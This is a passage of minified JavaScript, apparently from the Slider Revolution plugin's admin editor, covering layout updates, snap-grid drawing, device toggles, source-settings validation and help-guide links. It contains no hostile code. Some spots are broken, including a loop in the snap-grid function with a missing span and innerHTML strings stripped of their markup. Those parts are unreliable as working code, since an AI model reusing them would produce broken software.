#form_slidergeneral_advanced_api",function(){jQuery(".emc_toggle_wrap").toggleClass("open")}),RVS.DOC.on("openColorSkinApi",RVS.F.openColorSkinApi),RVS.DOC.on("click","#rbm_colorskins .rbm_close",function(){RVS.F.RSDialog.close()}),RVS.DOC.on("openSliderApi",RVS.F.openSliderApi),RVS.DOC.on("click","#rbm_slider_api .rbm_close",function(){RVS.SLIDER.settings.codes[window.rs_jscss_editor.getMode().name]=window.rs_jscss_editor.getValue(),RVS.F.RSDialog.close()}),RVS.DOC.on("device_area_dimension_update",function(){O(!0,!0),RVS.DOC.trigger("updateAllInheritedSize"),RVS.F.redrawSlideBG(),RVS.F.expandCollapseTimeLine(!0,"open")}),RVS.DOC.on("updatePerspective",function(){jQuery("#global_layers_perspectives").val(RVS.SLIDER.settings.general.perspective),RVS.F.allLayersReDraw()}),RVS.DOC.on("updatesliderlayout_main",function(e,t){RVS.DOC.trigger("checkOnScrollSettings"),RVS.DOC.trigger("updatesliderlayout",[e,t])}),RVS.DOC.on("updatesliderlayout",function(e,t){RVS.F.updatesliderlayout(t)}),RVS.F.updatesliderlayout=function(e){(void 0===RVS.S.calledUpdateSliderLayout||!RVS.S.drawingHTMLLayers&&RVS.S.drawHTMLLayersCalled)&&(clearTimeout(window.updateSliderLayoutTimer),n=RVS.S.lgh,RVS.S.calledUpdateSliderLayout=RVS.S.calledUpdateSliderLayout||0,RVS.S.calledUpdateSliderLayout++,window.updateSliderLayoutTimer=setTimeout(function(){O(!1),RVS.F.redrawSlideBG(),"slidertype"===e&&A(),RVS.S.lastSliderType!==RVS.SLIDER.settings.type&&("carousel"==RVS.SLIDER.settings.type?RVS.F.setS2Option({select:RVS.C.parllaxMouseSelect,enableValue:"mousedrag",update:!0}):("mousedrag"==RVS.SLIDER.settings.parallax.mouse.type&&(RVS.SLIDER.settings.parallax.mouse.type="mouse"),RVS.F.setS2Option({select:RVS.C.parllaxMouseSelect,disableValue:"mousedrag",update:!0})),RVS.S.lastSliderType=RVS.SLIDER.settings.type),(n!==RVS.S.lgh||RVS.ENV.globVerOffset!==RVS.S.cacheglobVerOffset||RVS.ENV.firstLayoutAfterSlideload)&&(RVS.ENV.firstLayoutAfterSlideload=!1,RVS.F.updateAllHTMLLayerPositions(),RVS.S.cacheglobVerOffset=RVS.ENV.globVerOffset),"wait"==RVS.S.ReadyToShowAll&&(RVS.C.UL[0].style.opacity=1,RVS.S.ReadyToShowAll="done",RVS.F.expandCollapseTimeLine(!0,"open",void 0,!0))},100))},RVS.DOC.on("updatesliderlayoutall",function(e,t){RVS.F.updatesliderlayout(t),RVS.DOC.trigger("device_area_dimension_update")}),RVS.DOC.on("device_area_availibity",function(){O(!0),RVS.F.updateAvailableDevices(),RVS.F.updateDeviceOnOffBtns()}),RVS.DOC.on("check_custom_size",function(e,t){var i;i=t.eventparam,RVS.SLIDER.settings.size.custom[i]=!0,jQuery("#sr_custom_"+i).prop("checked",RVS.SLIDER.settings.size.custom[i]),RVS.F.turnOnOffVisUpdate({input:document.getElementById("sr_custom_"+i)})}),RVS.F.staticsDoubleUpdate=function(e){!0!==RVS.S.resetLastShownAndStatic&&RVS.SLIDER[RVS.S.slideId].slide.static.isstatic&&RVS.SLIDER[RVS.S.slideId].slide.static.lastEdited&&void 0!==RVS.S.lastShownSlideId&&(RVS.S.resetLastShownAndStatic=!0,RVS.S.slideIdCache=RVS.S.slideId,RVS.S.slideId=RVS.S.lastShownSlideId),e.call(),RVS.S.resetLastShownAndStatic&&(clearTimeout(window.resetLastShownTimer),window.resetLastShownTimer=setTimeout(function(){RVS.S.resetLastShownAndStatic=!1,RVS.S.lastShownSlideId=RVS.S.slideId,RVS.S.slideId=RVS.S.slideIdCache,e.call()},200))},RVS.DOC.on("windowresized",function(){RVS.F.staticsDoubleUpdate(RVS.F.sliderUpdateAfterResize)}),RVS.F.sliderUpdateAfterResize=function(){V.width=o.width(),R.width=t.width(),O(!1),RVS.F.setRulers(),RVS.F.updateContentDeltas(),w("update")},RVS.DOC.on("updateShortCode",function(){RVS.SLIDER.settings.alias=RVS.F.sanitize_input(RVS.SLIDER.settings.alias),RVS.SLIDER.settings.shortcode='[rev_slider alias="'+RVS.SLIDER.settings.alias+'"][/rev_slider]',RVS.SLIDER.settings.modalshortcode='[rev_slider usage="modal" alias="'+RVS.SLIDER.settings.alias+'"][/rev_slider]',RVS.F.updateEasyInputs({container:jQuery("#form_module_title"),init:"true"}),RVS.F.updateEasyInputs({container:jQuery("#form_slider_as_modal"),init:"true"})}),RVS.DOC.on("sliderBGUpdate",j),RVS.DOC.on("drawBGOverlay",E),RVS.DOC.on("sliderProgressUpdate",A),RVS.DOC.on("coloredit colorcancel",H),RVS.DOC.on("updateParallaxLevelTexts",RVS.F.updateParallaxLevelTexts),RVS.DOC.on("updateParallaxdddBG",RVS.F.updateParallaxdddBG),RVS.DOC.on("updateSourcePostCategories",function(){RVS.F.updatePostCategories({postTypes:RVS.SLIDER.settings.source.post.types,categories:jQuery("#post_category")})}),RVS.DOC.on("updateSourceWooCategories",function(){RVS.F.updatePostCategories({postTypes:RVS.SLIDER.settings.source.woo.types,categories:jQuery("#woo_category")})}),RVS.DOC.on("flickrsourcechange",D),RVS.DOC.on("facebooksourcechange",x),RVS.DOC.on("youtubesourcechange",k),RVS.DOC.on("loadStreamDependencies",b),RVS.DOC.on("revertEasyInputs.source",function(e,t){RVS.F.updateEasyInputs({container:t,trigger:"init",path:"settings."});var i=RVS.SLIDER.settings.source.flickr.apiKey!==RVS.F.revert.settings.source.flickr.apiKey||RVS.SLIDER.settings.source.flickr.userURL!==RVS.F.revert.settings.source.flickr.userURL||RVS.SLIDER.settings.source.flickr.apiKey!==RVS.F.revert.settings.source.flickr.apiKey,a=RVS.SLIDER.settings.source.facebook.appId!==RVS.F.revert.settings.source.facebook.appId||RVS.SLIDER.settings.source.facebook.typeSource!==RVS.F.revert.settings.source.facebook.typeSource||RVS.SLIDER.settings.source.facebook.album!==RVS.F.revert.settings.source.facebook.album,r=RVS.SLIDER.settings.source.youtube.api!==RVS.F.revert.settings.source.youtube.api||RVS.SLIDER.settings.source.youtube.channelId!==RVS.F.revert.settings.source.youtube.channelId;(i||a||r)&&(u=!0)}),RVS.DOC.on("moduleSpinnerChange",function(){var e=RVS.SLIDER.settings.layout.spinner.type;jQuery("rs-loader").attr("class","spinner"+e).html(I()),(isNaN(e)||parseInt(e,10)<6)&&F()}),RVS.DOC.on("scrollUpdates",function(){w("update")})}(),RVS.F.buildRuler(),RVS.F.sliderUpdateAllFields(),RVS.DOC.trigger("updateShortCode"),w(),l=document.getElementById("show_c_height"),void 0!==(d=document.getElementById("show_c_width"))&&(d.innerHTML=Math.round(RVS.F.GW(RVS.screen))+"px"),b(),RVS.F.checkSliderSource(),RVS.F.ajaxRequest("get_global_settings",{},function(e){e.success&&(RVS.globals=RVS.F.getNewGlobalObject(e.global_settings),window.initGlobalSettings=!0,RVS.DOC.trigger("globalSettingsInited"))}),RVS.V.sizesold)document.getElementById("global_size_"+RVS.V.sizesold[S]).innerHTML=0==S?"> "+RVS.ENV.glb_slizes[RVS.V.sizes[1]]:3==S?"< "+RVS.ENV.glb_slizes[RVS.V.sizes[S]]:parseInt(RVS.ENV.glb_slizes[RVS.V.sizes[S]],0)-1+" - "+RVS.ENV.glb_slizes[RVS.V.sizes[parseInt(S,0)+1]]},RVS.F.clearSnapVisual=function(){RVS.C.gcanvas=void 0===RVS.C.gcanvas?document.getElementById("gridcanvas"):RVS.C.gcanvas,RVS.C.gCTX=void 0===RVS.C.gCTX?RVS.C.gcanvas.getContext("2d"):RVS.C.gCTX,RVS.C.gcanvas.width=RVS.S.ulDIM.width,RVS.C.gcanvas.height=RVS.S.ulDIM.height,RVS.C.gCTX.clearRect(0,0,RVS.S.ulDIM.width,RVS.S.ulDIM.height)},RVS.F.getSnapPoint=function(e,t){return{x:RVS.SLIDER.settings.snap.gap*Math.round(e/RVS.SLIDER.settings.snap.gap),y:RVS.SLIDER.settings.snap.gap*Math.round(t/RVS.SLIDER.settings.snap.gap)}},RVS.F.snapVisual=function(e){(e=void 0===e?{}:e).ah=void 0===e.ah?void 0!==RVS.selLayers[0]?RVS.L[RVS.selLayers[0]].position.horizontal[RVS.screen].v:"left":e.ah,e.av=void 0===e.av?void 0!==RVS.selLayers[0]?RVS.L[RVS.selLayers[0]].position.vertical[RVS.screen].v:"top":e.av;var t=RVS.S.rulerOffset.x,i=RVS.S.rulerOffset.y/RVS.zoom;if(RVS.F.clearSnapVisual(),RVS.SLIDER.settings.snap.gap=parseInt(RVS.SLIDER.settings.snap.gap,0),RVS.SLIDER.settings.snap.gap=0===RVS.SLIDER.settings.snap.gap?1:RVS.SLIDER.settings.snap.gap,"grid"===RVS.SLIDER.settings.snap.adjust&&RVS.SLIDER.settings.snap.gap>4){RVS.GSNAP={X:"left"===e.ah?t:"right"===e.ah?t+RVS.S.lgw:t+RVS.S.lgw/2,Y:"top"===e.av?i:"bottom"===e.av?i+RVS.S.lgh:i+RVS.S.lgh/2},RVS.GSNAP.XO=RVS.SLIDER.settings.snap.gap*Math.ceil(RVS.GSNAP.X/RVS.SLIDER.settings.snap.gap),RVS.GSNAP.YO=RVS.SLIDER.settings.snap.gap*Math.ceil(RVS.GSNAP.Y/RVS.SLIDER.settings.snap.gap),RVS.C.gCTX.beginPath();for(var a=RVS.GSNAP.X-RVS.GSNAP.XO;a5&&(void 0===s[e.x-RVS.SLIDER.settings.snap.gap]&&(RVS.C.gCTX.moveTo(e.x-RVS.SLIDER.settings.snap.gap+t,0),RVS.C.gCTX.lineTo(e.x-RVS.SLIDER.settings.snap.gap+t,RVS.S.ulDIM.height),s[e.x-RVS.SLIDER.settings.snap.gap]=!0),void 0===s[e.xr+RVS.SLIDER.settings.snap.gap]&&(RVS.C.gCTX.moveTo(e.xr+RVS.SLIDER.settings.snap.gap+t,0),RVS.C.gCTX.lineTo(e.xr+RVS.SLIDER.settings.snap.gap+t,RVS.S.ulDIM.height),s[e.xr+RVS.SLIDER.settings.snap.gap]=!0))}for(var o in s={},RVS.S.DaD.snapV){if(!RVS.S.DaD.snapV.hasOwnProperty(o))continue;let e=RVS.S.DaD.snapV[o];void 0===s[e.y]&&(RVS.C.gCTX.moveTo(0,e.y+i),RVS.C.gCTX.lineTo(RVS.S.ulDIM.width,e.y+i),s[e.y]=!0),void 0===s[e.ym]&&(RVS.C.gCTX.moveTo(0,e.ym+i),RVS.C.gCTX.lineTo(RVS.S.ulDIM.width,e.ym+i),s[e.ym]=!0),void 0===s[e.yb]&&(RVS.C.gCTX.moveTo(0,e.yb+i),RVS.C.gCTX.lineTo(RVS.S.ulDIM.width,e.yb+i),s[e.yb]=!0),RVS.SLIDER.settings.snap.gap>5&&(void 0===s[e.y-RVS.SLIDER.settings.snap.gap]&&(RVS.C.gCTX.moveTo(0,e.y+i-RVS.SLIDER.settings.snap.gap),RVS.C.gCTX.lineTo(RVS.S.ulDIM.width,e.y+i-RVS.SLIDER.settings.snap.gap),s[e.y-RVS.SLIDER.settings.snap.gap]=!0),void 0===s[e.yb+RVS.SLIDER.settings.snap.gap]&&(RVS.C.gCTX.moveTo(0,e.yb+i+RVS.SLIDER.settings.snap.gap),RVS.C.gCTX.lineTo(RVS.S.ulDIM.width,e.yb+i+RVS.SLIDER.settings.snap.gap),s[e.yb+RVS.SLIDER.settings.snap.gap]=!0))}if(RVS.C.gCTX.strokeStyle="rgba(250, 63, 142, 0.25)",RVS.C.gCTX.stroke(),RVS.C.gCTX.beginPath(),void 0!==RVS.S.DaD.snapHF&&-1!==RVS.S.DaD.snapHF.uid){let e=RVS.S.DaD.snapH[RVS.S.DaD.snapHF.uid];RVS.C.gCTX.moveTo(e.x+t+RVS.S.DaD.snapHF.offset,0),RVS.C.gCTX.lineTo(e.x+t+RVS.S.DaD.snapHF.offset,RVS.S.ulDIM.height),RVS.C.gCTX.lineWidth=2,RVS.C.gCTX.strokeStyle="rgba(250, 63, 142, 1)",RVS.C.gCTX.stroke()}if(void 0!==RVS.S.DaD.snapVF&&-1!==RVS.S.DaD.snapVF.uid){let e=RVS.S.DaD.snapV[RVS.S.DaD.snapVF.uid];RVS.C.gCTX.moveTo(0,e.y+i+RVS.S.DaD.snapVF.offset),RVS.C.gCTX.lineTo(RVS.S.ulDIM.width,e.y+RVS.S.rulerOffset.y+RVS.S.DaD.snapVF.offset),RVS.C.gCTX.lineWidth=2,RVS.C.gCTX.strokeStyle="rgba(250, 63, 142, 1)",RVS.C.gCTX.stroke()}}},RVS.F.updateAvailableDevices=function(){for(var e=!1,t=1;t<4;t++)RVS.SLIDER.settings.size.custom[RVS.V.sizes[t]]?jQuery("#screen_selecotr_ss_"+RVS.V.sizes[t]).removeClass("ssnotavailable"):(jQuery("#screen_selecotr_ss_"+RVS.V.sizes[t]).addClass("ssnotavailable"),RVS.screen==RVS.V.sizes[t]&&(e=!0));e&&jQuery("#screen_selecotr_ss_d").trigger("click"),RVS.DOC.trigger("updateAllInheritedSize")},RVS.F.checkForFixedScroll=function(){"slider"===RVS.eMode.top&&"#form_module_scroll"==RVS.eMode.menu&&jQuery("#timeline_slider_tab").hasClass("selected")?(RVS.TL.TL.addClass("fixedscrolledit"),RVS.TL.FixedScrollEdit=!0):RVS.TL.FixedScrollEdit&&(RVS.TL.TL.removeClass("fixedscrolledit"),RVS.TL.FixedScrollEdit=!1)},RVS.F.updateDeviceOnOffBtns=function(e){for(var t in RVS.V.sizes)if("d"!==RVS.V.sizes[t]){var i=document.getElementById("sr_custom_"+RVS.V.sizes[t]),a=document.getElementById("sr_custom_"+RVS.V.sizes[t]+"_opt");i.checked=RVS.SLIDER.settings.size.custom[RVS.V.sizes[t]],a.checked=RVS.SLIDER.settings.size.custom[RVS.V.sizes[t]],e||(RVS.F.turnOnOffVisUpdate({input:i}),RVS.F.turnOnOffVisUpdate({input:a}))}},RVS.F.updateSliderInputFields=function(){!0!==RVS.S.sliderInputFieldsInitialised&&!0!==RVS.S.sliderInputFieldsInitialisedWarning&&(RVS.F.showWaitAMinute({fadeIn:0,text:RVS_LANG.updatingfields}),RVS.S.sliderInputFieldsInitialisedWarning=!0,RVS.S.sliderInputFieldsInitialised=!0),setTimeout(function(){RVS.F.updateEasyInputs({container:jQuery(".sliderconfig_forms"),trigger:"init"}),RVS.F.updateEasyInputs({container:jQuery("#screen_selector_top_list"),path:"settings."}),RVS.F.updateEasyInputs({container:jQuery("#rbm_colorskins"),path:"settings."}),!0===RVS.S.sliderInputFieldsInitialisedWarning&&(RVS.F.showWaitAMinute({fadeOut:2,text:RVS_LANG.updatingfields}),RVS.S.sliderInputFieldsInitialisedWarning=!1),requestAnimationFrame(function(){T()})},5)},RVS.F.updateTopScreenSelectors=function(){RVS.F.updateEasyInputs({container:jQuery("#screen_selector_top_list"),path:"settings."}),RVS.F.turnOnOffVisUpdate({input:document.getElementById("sr_custom_n_opt")}),RVS.F.turnOnOffVisUpdate({input:document.getElementById("sr_custom_m_opt")}),RVS.F.turnOnOffVisUpdate({input:document.getElementById("sr_custom_t_opt")})},RVS.F.sliderUpdateAllFields=function(e){for(var t in O(!0),RVS.F.updateAvailableDevices(),RVS.F.updateTopScreenSelectors(),RVS.S.sliderInputFieldsInitialised&&RVS.F.updateSliderInputFields(),e&&jQuery(".slider_general_collector .tponoffwrap").each(function(){RVS.F.turnOnOff(this,!1)}),RVS.F.initTpColorBoxes(jQuery("#rbm_colorskins").find(".my-color-field")),RVS.DOC.trigger("updateSourcePostCategories"),RVS.DOC.trigger("updateSourceWooCategories"),RVS.DOC.trigger("updatesliderthumb"),RVS.DOC.trigger("moduleSpinnerChange"),RVS.DOC.trigger("updateAutoRotate"),RVS.SLIDER.settings.addOns)RVS.SLIDER.settings.addOns.hasOwnProperty(t)&&RVS.SLIDER.settings.addOns[t].enable&&RVS.DOC.trigger(t+"_init");if(RVS.F.updateContentDeltas(),RVS.F.updateAllNavigationContainer(!0),A(),j(!1),RVS.S.ulDIM={width:RVS.C.UL.width(),height:RVS.C.UL.height()},RVS.F.updateParallaxLevelTexts(),RVS.F.updateParallaxdddBG(),RVS.DOC.trigger("checkOnScrollSettings"),RVS.SLIDER.settings.pakps){if(RVS.C.RSPREM=document.getElementById("rs_premium"),void 0===RVS.C.RSPREM||null==RVS.C.RSPREM)return;RVS.C.RSPREM.style.display="block",RVS.ENV.activated?RVS.C.RSPREM.innerHTML='
    '+RVS_LANG.premium_template+'
    '+RVS_LANG.rs_premium_content+"
    ":(RVS.C.RSPREM.innerHTML='
    visibility_off'+RVS_LANG.premiumunlock+'
    '+RVS_LANG.rs_premium_content+"
    ",RVS.DOC.on("click",".rs_lib_premium_red",function(){RVS.F.showRegisterSliderInfo()}))}},RVS.F.updateAllNavigationContainer=function(e){RVS.SLIDER.settings.nav.arrows.set&&RVS.F.updateNavStyleSelection({init:e,type:"arrows"}),RVS.SLIDER.settings.nav.bullets.set&&RVS.F.updateNavStyleSelection({init:e,type:"bullets"}),RVS.SLIDER.settings.nav.tabs.set&&RVS.F.updateNavStyleSelection({init:e,type:"tabs"}),RVS.SLIDER.settings.nav.thumbs.set&&RVS.F.updateNavStyleSelection({init:e,type:"thumbs"})},RVS.F.redrawAllNavigationContainer=function(e){RVS.SLIDER.settings.nav.arrows.set&&RVS.F.drawNavigation({init:e,type:"arrows"}),RVS.SLIDER.settings.nav.bullets.set&&RVS.F.drawNavigation({init:e,type:"bullets"}),RVS.SLIDER.settings.nav.tabs.set&&RVS.F.drawNavigation({init:e,type:"tabs"}),RVS.SLIDER.settings.nav.thumbs.set&&RVS.F.drawNavigation({init:e,type:"thumbs"})},RVS.F.setRulers=function(){var e;RVS.S.rulerOffset.x=Math.max(0,(R.width-RVS.F.GW(RVS.screen))/2),RVS.S.rulerOffset.y=Math.max(0,RVS.S.layer_wrap_offset.y),e={offset:{x:RVS.S.rulerOffset.x,y:RVS.S.rulerOffset.y}},requestAnimationFrame(function(){if(void 0!==e&&void 0!==e.offset.x&&void 0!==e.offset.y){var t={x:parseInt(e.offset.x,0)-y.x/RVS.zoom+RVS.S.dim_offsets.navleft,y:e.offset.y-(y.y+RVS.S.dim_offsets.navtop)};t.x=t.x*RVS.zoom,tpGS.gsap.set(i,{x:t.x+"px"}),tpGS.gsap.set(a,{y:t.y+"px"})}})},RVS.F.setRulerMarkers=function(e){e=void 0===e?{y:0,x:0}:e;var t="overruler"===RVS.S.builderHover||"overbuilder"===RVS.S.builderHover?"block":"hidden",i=e.x,a=Math.max(0,e.y-m.top);requestAnimationFrame(function(){tpGS.gsap.set(r,{left:i+"px",height:"15px",display:t}),tpGS.gsap.set(s,{top:a+"px",width:"15px",display:t})})},RVS.F.updateContentDeltas=function(){if(void 0!==RVS.C.layergrid||void 0!==e){var t=RVS.C.UL.offset(),i="slidelayout"===RVS.S.vWmode?void 0===RVS.C.layergrid?e.offset():RVS.C.layergrid.offset():void 0===e?RVS.C.layergrid.offset():e.offset();RVS.S.layer_grid_offset=i,RVS.S.layer_wrap_offset.x=i.left-t.left,RVS.S.layer_wrap_offset.y=i.top-t.top,RVS.S.layer_wrap_offset.xr=RVS.C.UL.width()-e.width()-RVS.S.layer_wrap_offset.x,RVS.S.lgw=e.width(),RVS.S.lgh=e.height(),RVS.SLIDER.settings.size.editorCache[RVS.screen]=RVS.S.lgh,void 0!==l&&(l.innerHTML=parseInt(RVS.S.lgh,0)+"px"),void 0!==d&&(d.innerHTML=Math.round(RVS.F.GW(RVS.screen))+"px"),window.contentDeltaFirstRun=!0}},RVS.F.panSlider=function(e){},RVS.F.updateParallaxLevelTexts=function(){var e,t,i=!1;jQuery(".prallaxlevelselect").each(function(){for(i=!1,t=1;t<16;t++)e=t+". ("+RVS.SLIDER.settings.parallax.levels[t-1]+" %)",this.options[t].text!==e&&(i=1,this.options[t].text=e);i&&jQuery(this).ddTP({})})},RVS.F.checkSliderSource=function(){var e=!0,t=RVS.SLIDER.settings.source[RVS.SLIDER.settings.sourcetype],i=t.count;switch(i=void 0===i||""==i?0:i,RVS.SLIDER.settings.sourcetype){case"facebook":e=""!==t.apiId&&("album"!==t.typeSource||"album"==t.typeSource&&""!==t.album)&&0!=i;break;case"flickr":e=""!==t.apiKey&&""!==t.appSecret&&(""!==t.galleryURL||""!==t.groupURL||""!==t.photoSet||""!==t.userURL)&&0!=i;break;case"instagram":e=void 0!==t.token&&""!==t.token;break;case"vimeo":e=!0===(e=("channel"!=t.typeSource||""!=t.channelName)&&(("user"!=t.typeSource||""!=t.userName)&&(("group"!=t.typeSource||""!=t.groupName)&&("album"!=t.typeSource||""!=t.albumId))))&&0!=i;break;case"youtube":e=""!==t.api&&""!==t.channelId&&0!=i;break;case"twitter":e=""!==t.accessSecret&&""!==t.accessToken&&""!==t.consumerKey&&""!=t.consumerSecret&&""!==t.userId&&0!=i}e||RVS.F.showInfo({content:RVS_LANG.somesourceisnotcorrect,type:"goodtoknow",showdelay:2,hidedelay:5,hideon:"click",event:""})},RVS.F.updateParallaxdddBG=function(){clearTimeout(window.updateParallaxDDDBGTimer),window.updateParallaxDDDBGTimer=setTimeout(function(){RVS.F.updateEasyInputs({container:jQuery(".slider_ddd_subsettings"),init:!0})},50)},RVS.F.reSortSlides=function(){for(var e in RVS.SLIDER.slideIDs)RVS.SLIDER.slideIDs.hasOwnProperty(e)&&-1===(""+RVS.SLIDER.slideIDs[e]).indexOf("static_")&&jQuery("#slidelist").append(jQuery("#slide_list_element_"+RVS.SLIDER.slideIDs[e]))},RVS.F.openNewGuide=function(){window.initQuickGuide?window.initQuickGuide.page=0:(RVS.DOC.on("click","#rbm_quickguide .rbm_close, .mcg_quit_page",function(){RVS.F.RSDialog.close(),RVS.F.sliderUpdateAllFields(!0),RVS.F.openHelpGuide("module")}),RVS.DOC.on("click",".mcg_next_page",function(){window.initQuickGuide.page++,L()}),RVS.DOC.on("click",".mcg_prev_page",function(){window.initQuickGuide.page--,L(-1)}),window.initQuickGuide={page:0,active:0},RVS.DOC.on("click",".guide_combi_resize",function(){switch(jQuery(".guide_combi_resize").removeClass("selected"),this.className+=" selected",this.id){case"guide_classic":RVS.SLIDER.settings.def.intelligentInherit=!1,RVS.SLIDER.settings.def.autoResponsive=!1,RVS.SLIDER.settings.def.responsiveChilds=!1,RVS.SLIDER.settings.def.responsiveOffset=!1,RVS.SLIDER.settings.size.custom.n=!1,RVS.SLIDER.settings.size.custom.t=!1,RVS.SLIDER.settings.size.custom.m=!1;break;case"guide_intelligent":RVS.SLIDER.settings.def.intelligentInherit=!0,RVS.SLIDER.settings.def.autoResponsive=!0,RVS.SLIDER.settings.def.responsiveChilds=!0,RVS.SLIDER.settings.def.responsiveOffset=!0;break;case"guide_manual":RVS.SLIDER.settings.def.intelligentInherit=!1,RVS.SLIDER.settings.def.autoResponsive=!1,RVS.SLIDER.settings.def.responsiveChilds=!1,RVS.SLIDER.settings.def.responsiveOffset=!1,RVS.SLIDER.settings.size.custom.n=!0,RVS.SLIDER.settings.size.custom.t=!0,RVS.SLIDER.settings.size.custom.m=!0}RVS.F.sliderUpdateAllFields(!0),O(!0),RVS.F.updateAvailableDevices(),RVS.F.updateDeviceOnOffBtns(),RVS.F.updateEasyInputs({container:jQuery(".mcg_option_third_wraps"),trigger:"init",path:"settings."})})),L(),jQuery("#guide_classic").removeClass("selected"),jQuery("#guide_intelligent").removeClass("selected"),jQuery("#guide_manual").removeClass("selected"),RVS.SLIDER.settings.def.intelligentInherit?jQuery("#guide_intelligent").addClass("selected"):RVS.SLIDER.settings.size.custom.n||RVS.SLIDER.settings.size.custom.t||RVS.SLIDER.settings.size.custom.m?jQuery("#guide_manual").addClass("selected"):jQuery("#guide_classic").addClass("selected"),RVS.F.updateEasyInputs({container:jQuery("#rbm_quickguide"),path:"settings."}),RVS.F.RSDialog.create({modalid:"rbm_quickguide",bgopacity:.85})},RVS.F.openHelpGuide=function(e){var t;if(t="template"===e?[{id:"guideEditContent",title:"Edit Content",links:[{name:"Editing Text",icon:"edit",link:"https://www.sliderrevolution.com/manual/editing-text-from-template-modules/",scan:!1,type:"LAYERS"},{name:"Editing Images",icon:"image",link:"https://www.sliderrevolution.com/manual/editing-images-in-template-modules/",type:"LAYERS",scan:[{target:"layer",type:"image",path:"media.imageUrl",value:"string"},{target:"layer",type:"shape",path:"idle.backgroundImage",value:"string"}]},{name:"Swapping Videos",icon:"play_circle",link:"https://www.sliderrevolution.com/manual/changing-videos-and-dealing-with-cross-site-origin/",scan:[{target:"slide",path:"bg.mpeg",value:"string",check:"bg.type",checkValue:"html5"},{target:"slide",path:"bg.ogv",value:"string",check:"bg.type",checkValue:"html5"},{target:"slide",path:"bg.webm",value:"string",check:"bg.type",checkValue:"html5"},{target:"slide",path:"bg.youtube",value:"string",check:"bg.type",checkValue:"youtube"},{target:"slide",path:"bg.vimeo",value:"string",check:"bg.type",checkValue:"vimeo"},{target:"layer",type:"video",path:"media.mp4Url",value:"string",check:"media.mediaType",checkValue:"html5"},{target:"layer",type:"video",path:"media.ogvUrl",value:"string",check:"media.mediaType",checkValue:"html5"},{target:"layer",type:"video",path:"media.webmUrl",value:"string",check:"media.mediaType",checkValue:"html5"},{target:"layer",type:"video",path:"media.id",value:"string",check:"media.mediaType",checkValue:"youtube"},{target:"layer",type:"video",path:"media.id",value:"string",check:"media.mediaType",checkValue:"vimeo"}],type:"LAYERS"},{name:"Selecting Colors",icon:"palette",link:"https://www.sliderrevolution.com/manual/the-tools-of-the-color-selection-dialogue/",scan:!1,type:"MISC"},{name:"Editing Backgrounds",icon:"wallpaper",link:"https://www.sliderrevolution.com/manual/changing-template-background-colors-and-images/",scan:!1,type:"SLIDES"},{name:"Managing Slides",icon:"rectangle",link:"https://www.sliderrevolution.com/manual/adding-deleting-and-duplicating-slides/",scan:!1,type:"SLIDES"},{name:"Rows, Groups & Global Layers",icon:"table_rows",link:"https://www.sliderrevolution.com/manual/special-layers-rows-groups-backgrounds-global/",scan:[{target:"static"},{target:"layer",path:"row"},{target:"layer",path:"column"},{target:"layer",path:"group"}],type:"LAYERS"}]},{id:"guideTemplateFeatures",title:"Template Features",links:[{name:"Spinner",icon:"loop",link:"https://www.sliderrevolution.com/manual/switching-and-coloring-spinners-a-k-a-pre-loaders/",type:"SLIDER",scan:[{target:"slider",path:"settings.layout.spinner.type",unValue:"off"}]},{name:"Auto Rotate Slideshow",icon:"auto_mode",link:"https://www.sliderrevolution.com/manual/controlling-auto-rotation-of-slides/",type:"SLIDER",scan:[{target:"slider",path:"settings.type",unValue:"hero"}]},{name:"Parallax",icon:"landscape",link:"https://www.sliderrevolution.com/manual/working-with-parallax-effects-in-slider-revolution/",type:"SLIDER",scan:[{target:"slider",path:"settings.parallax.set",unValue:!1}]},{name:"Custom CSS/JS",icon:"code",link:"https://www.sliderrevolution.com/manual/custom-css-and-javascript-with-slider-revolution/",type:"SLIDER",scan:[{target:"slider",path:"settings.codes.css"},{target:"slider",path:"settings.codes.javascript"}]},{name:"Slider As Modal",icon:"check_box_outline_blank",link:"https://www.sliderrevolution.com/manual/slider-revolution-modules-as-modals/",type:"ACTIONS",scan:[{target:"action",path:"action",checkValue:"open_modal"}]},{name:"Global Color Skin",icon:"palette",link:"https://www.sliderrevolution.com/manual/skin-based-color-schemes/",type:"SLIDER",scan:[{target:"slider",path:"settings.skins",special:"skins"}]},{name:"Timeline Scroll Based",icon:"mouse",link:"https://www.sliderrevolution.com/manual/progress-the-timeline-by-scrolling/",type:"SLIDER",scan:[{target:"slider",path:"settings.scrolltimeline.set"}]},{name:"Scroll Based Effects",icon:"mouse",link:"https://www.sliderrevolution.com/manual/add-scroll-based-visual-effects/",type:"SLIDER",scan:[{target:"slider",path:"settings.scrolleffects.set"}]},{name:"Progress Bar",icon:"horizontal_rule",link:"https://www.sliderrevolution.com/manual/add-and-style-progress-bars/",type:"SLIDER",scan:[{target:"slider",path:"settings.general.progressbar.set"}]},{name:"Fixed on Top",icon:"align_vertical_top",link:"https://www.sliderrevolution.com/manual/fix-modules-on-top-of-page/",type:"SLIDER",scan:[{target:"slider",path:"settings.layout.position.fixedOnTop"}]},{name:"Dynamic Viewport Loading",icon:"hourglass_bottom",link:"https://www.sliderrevolution.com/manual/dynamic-viewport-loading/",type:"SLIDER",scan:[{target:"slider",path:"settings.general.slideshow.viewPort"}]}]},{id:"guideUserInteractions",title:"User Interactions",links:[{name:"Editing Links (actions)",icon:"link",link:"https://www.sliderrevolution.com/manual/editing-links-in-template-modules/",type:"ACTIONS",scan:[{target:"action",path:"action",checkValue:"link,callback,getAccelerationPermission,scrollto,scroll_under"}]},{name:"Link Actions",icon:"link",link:"https://www.sliderrevolution.com/manual/add-and-configure-link-actions/",type:"ACTIONS",scan:[{target:"action",path:"action",checkValue:"link,callback,getAccelerationPermission,scrollto,scroll_under"}]},{name:"Slide Actions",icon:"slideshow",link:"https://www.sliderrevolution.com/manual/adding-and-configuring-slide-actions/",type:"ACTIONS",scan:[{target:"action",path:"action",checkValue:"jumpto,next,prev,pause,resume,toggle_slider,open_modal,close_modal"}]},{name:"Layer Actions",icon:"layers",link:"https://www.sliderrevolution.com/manual/add-and-configure-layer-actions/",type:"ACTIONS",scan:[{target:"action",path:"action",checkValue:"start_in,start_out,start_frame,next_frame,prev_frame,toggle_frames,simulate_click,toggle_class,mtrap_follow,mtrap_unfollow"}]},{name:"Media Actions",icon:"movie",link:"https://www.sliderrevolution.com/manual/adding-and-configuring-media-actions/",type:"ACTIONS",scan:[{target:"action",path:"action",checkValue:"start_video,stop_video,toggle_video,mute_video,unmute_video,toggle_mute_video,toggle_global_mute_video"}]},{name:"Full Screen 